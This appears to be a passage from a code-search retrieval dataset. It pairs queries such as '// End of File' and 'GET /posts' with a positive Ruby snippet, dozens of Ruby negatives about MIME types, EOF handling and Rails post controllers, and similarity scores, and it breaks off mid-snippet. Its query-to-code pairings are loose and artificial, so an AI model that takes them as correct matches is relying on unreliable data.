check empty? here, but Mahoro sometimes returns a blank line :(\n # e.g. for InfoRequestEvent 17930\n if mahoro_type.nil? || mahoro_type.empty?\n return nil\n end\n # text/plain types sometimes come with a charset\n mahoro_type.match(/^(.*);/)\n if $1\n mahoro_type = $1\n end\n # see if looks like a content type, or has something in it that does\n # and return that\n # mahoro returns junk \"\\012- application/msword\" as mime type.\n mahoro_type.match(/([a-z0-9.-]+\\/[a-z0-9.-]+)/)\n if $1\n return $1\n end\n # otherwise we got junk back from mahoro\n return nil\nend", "def file_type\n self['fileRef']['explicitFileType'] || self['fileRef']['lastKnownFileType']\n end", "def name_of_content_type\n if self.content_type == 'application/vnd.ms-word'\n return \"Word document\"\n elsif self.content_type == 'application/pdf'\n return \"PDF file\"\n end\n end", "def mime_type(file)\n header = file.read(8)\n unless header\n file.open\n header = file.read(8)\n end\n file.pos = 0\n if ( /^\\x89PNG/n.match(header) ) \n return \"image/png\"\n elsif (/^GIF8[79]a/n.match(header) )\n return \"image/gif\"\n elsif( /^\\xff\\xd8/n.match(header) )\n return \"image/jpeg\"\n elsif( /^BM/n.match(header) )\n return \"image/bmp\"\n end\n end", "def content_type\n end", "def content_type_header(request)\n request.content_type\n end", "def file_type\n if is_ography?\n :ography\n else\n :tei_content\n end\n end", "def file_mimetype\n @descriptive_detail.file_mimetype\n end", "def file_set_mime_type\n file_set.mime_type.first\n end", "def content_type\n return @content_type\n end", "def get_mime_type(repo, fname)\n case repository_type\n when 'git'\n 'Git does not provide mime types'\n when 'git-svn', 'svn'\n %x[svn propget svn:mime-type \"#{repo}/#{fname}\"].chomp\n end\nend", "def content_type\n self.name[/::(.*)$/, 1].underscore.gsub(/_/, '/')\n end", "def file_type\r\n\t\t@file_type\r\n\tend", "def content_type_of(path)\n attributes_for(path).content_type\n end", "def ext\n Rack::Mime::MIME_TYPES.invert[data_content_type]\n end", "def file_type\n attachments.order(position: 'asc').first.file_type\n rescue StandardError => exc\n logger.error(\"Message for the log file #{exc.message}\")\n 'application/pdf'\n end", "def content_type_string\n Mime::Type.lookup_by_extension(content_type).to_s\n end", "def select_header_content_type(content_types)\n # return nil by default\n return if content_types.nil? || content_types.empty?\n # use JSON when present, otherwise use the first one\n json_content_type = content_types.find { |s| json_mime?(s) }\n json_content_type || content_types.first\n end", "def content_type\n content_type_header = @collection.detect { |header| header.has_key?(CONTENT_TYPE_HEADER_KEY) }\n return (content_type_header.nil?) ? nil : content_type_header[CONTENT_TYPE_HEADER_KEY]\n end", "def content_type\n @response_headers[\"Content-Type\"]\n end", "def description_of content_type\n case content_type.to_s.strip\n when \"image/jpeg\"\n \"JPEG graphic\"\n when \"application/vnd.ms-excel\"\n \"Excel worksheet\"\n when \"application/msword\"\n \"Word document\"\n when \"application/pdf\"\n \"PDF file\"\n else \"\"\n end\n end", "def identify_type(path)\n return nil unless path\n return Rack::Mime.mime_type(File.extname(path)) unless File.size? path\n\n # @type [String] mime\n mime, charset = detect_mime path\n charset = detect_charset(path) if mime =~ %r{^text/} && charset !~ /^utf/\n\n [mime, charset]\n end", "def content_type\n @meta_content_type || response['content-type']\n end", "def content_type\n @meta_content_type || response['content-type']\n end", "def content_type(path, filename)\n type = (filename.match(/\\.(\\w+)$/)[1] rescue \"octet-stream\").downcase\n case type\n when %r\"jp(e|g|eg)\" then \"image/jpeg\"\n when %r\"tiff?\" then \"image/tiff\"\n when %r\"png\", \"gif\", \"bmp\" then \"image/#{type}\"\n when \"txt\" then \"text/plain\"\n when %r\"html?\" then \"text/html\"\n when \"js\" then \"application/js\"\n when \"csv\", \"xml\", \"css\" then \"text/#{type}\"\n else\n # On BSDs, `file` doesn't give a result code of 1 if the file doesn't exist.\n content_type = (`file -b --mime-type #{path}`.split(':').last.strip rescue \"application/x-#{type}\")\n content_type = \"application/x-#{type}\" if content_type.match(/\\(.*?\\)/)\n content_type\n end\n end", "def geo_mime_type\n return unless file_set\n file_set.mime_type.first\n end", "def file_type(property: 'file')\n params.dig property, :type\n end", "def mime_type; end", "def mime_type; end", "def mime_type; end", "def mime_type; end" ]
[ "0.7819989", "0.77991307", "0.77928126", "0.76539135", "0.76414883", "0.76414883", "0.7621446", "0.7579808", "0.75585824", "0.754864", "0.75441724", "0.7481862", "0.74763966", "0.7463285", "0.7458099", "0.7454041", "0.74477905", "0.7445522", "0.7424664", "0.7417343", "0.74115044", "0.74040323", "0.73942316", "0.7389997", "0.7379058", "0.7358676", "0.7351596", "0.7332143", "0.73201036", "0.72976464", "0.72869235", "0.7256135", "0.72464573", "0.7229794", "0.7229746", "0.7216954", "0.7208227", "0.72054446", "0.7183709", "0.7180345", "0.71602046", "0.71572095", "0.7149405", "0.7148619", "0.71359557", "0.713369", "0.71261734", "0.7103992", "0.7103559", "0.70921195", "0.7087132", "0.7083986", "0.7074203", "0.7068173", "0.7063649", "0.7063649", "0.70551026", "0.70445174", "0.70445174", "0.70407134", "0.70407045", "0.70305175", "0.70288366", "0.70232475", "0.7019137", "0.6998641", "0.6997088", "0.69962585", "0.69936687", "0.69861543", "0.69840723", "0.69836646", "0.69764954", "0.6974631", "0.69730794", "0.6970812", "0.69705045", "0.6961485", "0.69594526", "0.695745", "0.69564307", "0.695112", "0.69499314", "0.69469875", "0.6942828", "0.693871", "0.6928138", "0.69170403", "0.69125736", "0.69031864", "0.6894585", "0.688884", "0.687907", "0.687907", "0.68778735", "0.68759704", "0.6875676", "0.6868907", "0.6868907", "0.6868907", "0.6868907" ]
0.0
-1
// End of File
def store!(file) f = CarrierWave::Storage::Grandcloud::File.new(uploader, self, uploader.store_path) f.store(file.read) f end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def eof; @file.eof; end", "def do_eof; end", "def file_end(file, output)\n end", "def eof!; end", "def eof() end", "def eof() end", "def eof() end", "def eof\n end", "def eof?; end", "def eof?; end", "def end_of_file(arg)\n @offenses << error('At the end of file: Final newline missing') unless arg.readlines.last.match(/\\n/)\n end", "def eof?\r\n false\r\n end", "def on_eof(&block); end", "def eof?() end", "def eof?() end", "def eof?() end", "def file_finished(file, offenses); end", "def eof_flag\n @eof_flag\n end", "def eof?\n @eof\n end", "def eof?\n @eof\n end", "def eof?\n @eof\n end", "def eof?\n @eof\n end", "def eof?\n @eof\n end", "def eof?\n @eof\n end", "def eof?\n @io.eof?\n end", "def eof?\n @io.eof?\n end", "def eof?\n @io.eof?\n end", "def eof?; @io.size == @rio end", "def eof?\n end", "def eof?\n io.eof?\n end", "def eof?\n @io.closed? || @io.eof?\n end", "def end() end", "def end_of_section\n\t$report_file.puts(\"-------END OF SECTION-------\")\n\t$report_file.puts\nend", "def eof?\n @stream.eof?\n end", "def ending\n @io.close\n end", "def eof?\n return @stream.eof?\n end", "def handle_end\n if get_next_token.type != \"EOL\"\n raise @err_class, \"I don't know what you're talking about!\"\n end\n end", "def close_file\r\n end", "def handle_eof\n # do this check again for thread safety\n if @state.eof_reached?\n STDOUT.flush\n @callback[:end_of_file].call\n @state.handle_eof\n end\n true\n end", "def eof\n if @sio_closed_read ; __require_readable ; end\n @sio_pos >= @sio_string.length\n end", "def add_end_of_file_callback(&block)\n @callback[:end_of_file] = block\n true\n end", "def eof_marker\n EOF_MARKER\n end", "def eof?()\n #This is a stub, used for indexing\n end", "def track_eof?\n true if track_eof\n end", "def eof?\n @position >= @size\n end", "def on_eof( &block )\n @on_eof = block\n end", "def eof?\n if @buffer.size > 0\n false\n else\n @io.eof?\n end\n end", "def eof_found?\n @eof_found\n end", "def read_end_data\n _app, data = File.read(file).split(/^__END__$/, 2)\n data || ''\n end", "def eof?\n @pos == @data.bytesize\n end", "def at_end?\n peek.type == :eof\n end", "def eof?\n code == FX_EOF\n end", "def end\n end", "def eof?\n @read >= @size\n end", "def end\n end", "def end; end", "def end; end", "def end; end", "def eof?\n @input.eof?\n end", "def at_end; end", "def file_finished(file_result)\n if file_result.error_count > 0 \n out.print 'x'\n elsif file_result.warning_count > 0\n out.print '*'\n else\n out.print '.'\n end\n end", "def eof?\n @stmt.done?\n end", "def _end!; end", "def end_document; end", "def end_document; end", "def eof?\n not busy?\n end", "def fin; false; end", "def eof?\n !@io || (@io.closed? || @io.eof?) && @buffer.empty?\n end", "def eof?\n !@io || (@io.closed? || @io.eof?) && @buffer.empty?\n end", "def eof *args\r\n if @building\r\n method_missing :eof, *args\r\n else\r\n super args.first\r\n end\r\n end", "def prim_eof?\n false\n end", "def on_eof( channel )\n end", "def end!\n throw :end\n end", "def close\n $file.close\t\t\t\t# Closes the log file\n puts \"Files flushed properly\"\t\t# Basically means that file has been closed properly instead of force quitting which MAY/COULD result in \t\t\t\t\t\t#memory leaks\n abort(\"Exiting\")\t\t\t# Actually exits the game but not before outputting 'Exiting'\nend", "def eof?\n raise IOError, 'not opened for reading' if closed?\n @total == @size && @buffer.empty?\n end", "def end_of_stream?\n @next_chunk.nil?\n end", "def file_end(file)\n file_begin(file) # initialize just in case.\n\n @report[file]['end'] = Time.now.to_f\n @report[file]['duration'] = @report[file]['end'] - @report[file]['start']\n @report[file]['all_tests_passed_last_run'] = @report[file]['failure'] == 0\n end", "def after_break\n #open(file_name, \"r\") do |f| \n open(\"./tmp/database_doings/doing_uniques/uniques_done.txt\", \"r\") do |f| \n g = f.read\n f.close\n exit(puts \"Processing is complete >> ./tmp/database_doings/doing_uniques/uniques_done.txt << is closed, console has been exited\")\n end\n end", "def ending\n if File.exist?('CREDITS.md')\n @io.puts IO.read('CREDITS.md')\n @io.puts\n end\n\n if File.exist?('AUTHORS.md')\n @io.puts IO.read('AUTHORS.md')\n @io.puts\n end\n\n if File.exist?('LICENSE.md')\n @io.puts IO.read('LICENSE.md')\n @io.puts\n end\n @io.puts\n @io.puts \"Documentation generated #{Time.now.strftime('%Y-%m-%d %H:%M')}\"\n @io.puts\n @io.close\n end", "def ending\n abstract!\n end", "def eof?\n stream = @_st_stream\n stream and stream.eof?\n end", "def end\n end", "def end\n end", "def end?\n @status == :end\n end", "def add_end()\n @asm_file << \"(END)\\n@END\\n0;JMP\\n\" \n end", "def eof?\n ref_line.nil? && output_line.nil?\n end", "def eof?\n wait_for_chars(1)\n @cursor == @buffer.length && @eof_found\n end", "def gets_eof\n script.gets_channel_eof(self)\n end", "def end_of_meta_data\n cur = tell\n\n seek 0\n line = _gets\n return unless META_SEP =~ line\n\n while line = _gets\n break if META_SEP =~ line\n end\n return if line.nil?\n tell\n\n ensure\n seek cur\n end", "def close(filename); end", "def null_finish\n file.write(\"\\r\" + ' ' * @last_printed_length + \"\\r\")\n end", "def write_footer(file)\n Record.new(GRT_ENDSTR).write(file)\n end", "def finish\n\t\t\tclose\n\t\tend", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n true\n end", "def readable_after_eof?\n false\n end", "def readable_after_eof?\n false\n end", "def close\n\t\t@file.close\n\tend" ]
[ "0.81897926", "0.7748183", "0.77266645", "0.7604533", "0.75958776", "0.75958776", "0.75958776", "0.75927526", "0.7251798", "0.7251798", "0.72380733", "0.71126235", "0.6946192", "0.69368225", "0.69368225", "0.69368225", "0.6908536", "0.6901492", "0.68929523", "0.68929523", "0.68929523", "0.6812972", "0.6812972", "0.6812972", "0.67823356", "0.67823356", "0.67823356", "0.677924", "0.67625624", "0.6702731", "0.6674455", "0.6663133", "0.66198385", "0.6609159", "0.65218955", "0.6506436", "0.6490757", "0.6464688", "0.64539605", "0.64317805", "0.63726497", "0.6362544", "0.6338758", "0.626498", "0.62498987", "0.6248874", "0.6244102", "0.6237045", "0.6231744", "0.62237614", "0.62130153", "0.6198721", "0.61971694", "0.6181678", "0.6160464", "0.6155654", "0.6155654", "0.6155654", "0.61516434", "0.61407596", "0.61402875", "0.61394125", "0.6112829", "0.6077612", "0.6077612", "0.60775995", "0.60682636", "0.60625994", "0.60625994", "0.5986976", "0.5980573", "0.59788346", "0.5964737", "0.5950216", "0.5938168", "0.59176457", "0.59004045", "0.5899286", "0.5892726", "0.5887579", "0.5875348", "0.5870035", "0.5870035", "0.58647716", "0.58623654", "0.58550495", "0.5821469", "0.58105683", "0.58102167", "0.580488", "0.5765631", "0.57632226", "0.5755219", "0.5747074", "0.5747074", "0.5747074", "0.5747074", "0.5747074", "0.573852", "0.573852", "0.5736973" ]
0.0
-1
GET /posts GET /posts.json
def index end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @posts = Post.find(params[:id])\n render json: @posts\n end", "def index\n @posts = Post.all\n render json: @posts\n end", "def index\n @posts = Post.all\n\n render json: @posts\n end", "def index\n @posts = Post.all\n\n render json: @posts\n end", "def index\n @posts = Post.all\n render json: @posts\n end", "def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end", "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end", "def index\n render json: { posts: Post.all }\n end", "def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end", "def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end", "def index\n @posts = Post.all\n \n render json: @posts\n end", "def show\n @post = Post.find(params[:id])\n\n render json: @post\n end", "def show\n post = Post.find(params[:id])\n render json: post\n end", "def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end", "def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end", "def posts(opts)\n response = get(\"posts\", opts)\n response\n end", "def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end", "def show\n \trender json: Post.find(params[:id])\n end", "def index\n render json: Post.all\n end", "def show\n\t \trender json: Post.find(params[:id])\n\t end", "def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end", "def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def show\n render json: Post.find(params[\"id\"])\n end", "def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end", "def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end", "def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end", "def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end", "def show\n render json: @post\n end", "def show\n render json: @post\n end", "def index\n\t\tgon.posts = Post.all.as_json\n\tend", "def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end", "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end", "def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end", "def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end", "def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end", "def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end", "def show\n render :json => @post\n end", "def get(options = EMPTY_HASH)\n parameters = Specification.new(\n tag: Types::Tags,\n dt: Types::Time,\n url: Types::URL,\n meta: Types::Boolean\n ).parameters(options)\n posts_from client.get(\"/posts/get\", parameters)\n end", "def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end", "def show\n render json: @post, serializer: Api::V1::PostSerializer\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end", "def index\n @posts = PostService.getAllPosts\n end", "def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end", "def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end", "def index\n\t@posts = list_posts\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end", "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end", "def posts_list\n posts = Post.all.published.order(score: :desc, created_at: :desc)\n post_tags = Post.published.order(score: :desc, created_at: :desc).map { |post| Post.includes(:tags, :taggings).find_by(id: post.id).tags }\n categories = Category.all\n tags = Tag.all\n\n render_json(posts: posts, categories: categories, tags: tags, post_tags: post_tags)\n end", "def index\n @posts = Post.all.order_by([:date_published, :desc]).page(params[:page]).per(20)\n #authorize! if cannot? :read, @posts\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end", "def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end", "def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end", "def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end", "def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end", "def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end", "def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end", "def index\n @art_posts = ArtPost.all\n\n render json: @art_posts\n end", "def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end", "def show\n render json: {\n data: @post\n }\n end", "def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def index\n # TODO: implement listing all posts\n end", "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts, :include => :tags }\n end\n end", "def list\n comments = Comment.where(post: @post)\n render json: comments, status: 200\n end", "def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end", "def index\n\t \tif params[:title]\n\t\t render json: Post.search(params[:title])\n \t\telse\n\t \trender json: Post.all\n \tend\n\t end", "def index\n unless can?(:manage, Post)\n @posts = @posts.published\n end\n \n respond_with @posts\n end", "def index\n @posts = Post.all\n respond_with(@posts)\n end", "def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def index\n render json: current_user.posts.all\n # TODO order posts alphabetically\n end", "def index\n @posts = Post.includes(:author, channel: [:posts]).order(created_at: :desc)\n @posts = @posts.where(channel: @channel) if params[:channel_id]\n @posts = @posts.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render jsonapi: @posts }\n end\n end", "def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end", "def index\n @page = params[:page] || 1\n @posts = @exchange.posts.page(@page, context: 0).for_view\n respond_to do |format|\n format.json do\n serializer = PostSerializer.new(\n @posts,\n links: { self: paginated_json_path(@posts.current_page),\n next: paginated_json_path(@posts.next_page),\n previous: paginated_json_path(@posts.previous_page) },\n include: %i[user]\n )\n render json: serializer.serialized_json\n end\n end\n end", "def index\n @postos = Posto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postos }\n end\n end", "def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end", "def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end", "def index\n @api_v1_posts = Api::V1::Post.all\n end", "def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end", "def index\n respond_with Post.all\n end" ]
[ "0.7865315", "0.7494904", "0.7494433", "0.7494433", "0.7488696", "0.74314564", "0.728645", "0.728645", "0.728645", "0.72562826", "0.72522277", "0.7247287", "0.7246305", "0.72221965", "0.72042215", "0.72039723", "0.7169929", "0.71689725", "0.71644753", "0.7121855", "0.71152896", "0.7108617", "0.70960873", "0.7071454", "0.7063796", "0.70486146", "0.7044637", "0.7029959", "0.69793427", "0.6957234", "0.6945899", "0.6921306", "0.6918641", "0.6897198", "0.689313", "0.6890521", "0.68769336", "0.6876437", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6865055", "0.6856369", "0.6854135", "0.68492866", "0.6837785", "0.6814047", "0.67974555", "0.67884254", "0.6782457", "0.6779375", "0.6779375", "0.6770256", "0.67645854", "0.6760845", "0.6751376", "0.6740988", "0.6720944", "0.6703801", "0.66790265", "0.6662053", "0.6649574", "0.66334385", "0.6629263", "0.66292495", "0.6625863", "0.6625277", "0.6619148", "0.6612677", "0.6612347", "0.659554", "0.65946317", "0.6584386", "0.6583931", "0.6578741", "0.6564504", "0.6556115", "0.65437686", "0.65419716", "0.65410036", "0.6528237", "0.65246344", "0.6520045", "0.65119064", "0.6511185", "0.64960027", "0.64946514", "0.64891815", "0.6476575", "0.64645535", "0.6463598" ]
0.0
-1
POST /posts POST /posts.json
def create @post = Post.create(post_params) set_posts respond_to do |format| format.js format.html end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n render json: Post.create(params[\"post\"])\n end", "def create\n respond_with Post.create(params[:posts])\n end", "def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end", "def create\n @post = Post.new(post_params)\n @post.user = current_user\n\n if @post.save\n render json: @post, status: :created, location: api_v1_post_path(@post), serializer: Api::V1::PostSerializer\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "def create\n @post = current_user.posts.new(post_params)\n\n if @post.save\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end", "def create\n post = @current_user.posts.create(post_params)\n\n if post.save\n render json: post\n else\n render json: { errors: post.errors.full_messages }, status: :forbidden\n end\n end", "def create\n title = params[:title]\n body = params[:body]\n\n @post = current_user.posts.create(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end", "def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n\n if @post.save\n render json: @post, status: :created, location: [@user, @post]\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "def create\n @post = Post.new(post_params)\n\n if @post.save\n render json: {\n message: 'Post was successfully created.'\n }, status: :created\n else\n render json: {\n errors: @post.errors,\n message: 'Post could not be created.'\n }, status: :unprocessable_entity\n end\n end", "def post(id, opts = {})\r\n uri = url_for(\"posts/#{id}\", opts)\r\n response = RestClient.get(uri)\r\n JSON.parse response\r\n end", "def create\n\n\n @post = current_user.posts.build(post_params)\n\n if @post.save\n\n render json: \"Posted successfully\", status: 201\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "def create\n @post = Post.new(params[:post])\n respond_to do |format|\n if @post.save\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.create(params[:post])\n end", "def create\n\t\tpost = @current_user.posts.create(post_params) \n\t\tif post.save\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id}\n\t else\n\t render json: {success: false, errors: post.errors.full_messages, message: \"Validation failed\"}, status: 422\n\t\tend \n\tend", "def create_posts\n end", "def create_posts\n end", "def create_post\n begin\n #asks the user for the title, body, and whether it should be anonymous\n print \"Title: \"\n title = STDIN.gets.chomp\n print \"Body: \"\n body = STDIN.gets.chomp\n print \"Post as Anonymous? (y/n): \"\n anonymous = STDIN.gets.chomp.upcase == 'Y' ? true : false\n # check user information from login\n\n # Rails will reject this unless you configure the cross_forgery_request check to\n # a null_session in the receiving controller. This is because we are not sending\n # an authenticity token. Rails by default will only send the token with forms /users/new and\n # /users/1/edit and REST clients don't get those.\n # We could perhaps arrange to send this on a previous\n # request but we would then have to have an initial call (a kind of login perhaps).\n # This will automatically send as a multi-part request because we are adding a\n # File object.\n response = RestClient.post \"#{@@DOMAIN}/api/posts.json\",\n\n {\n 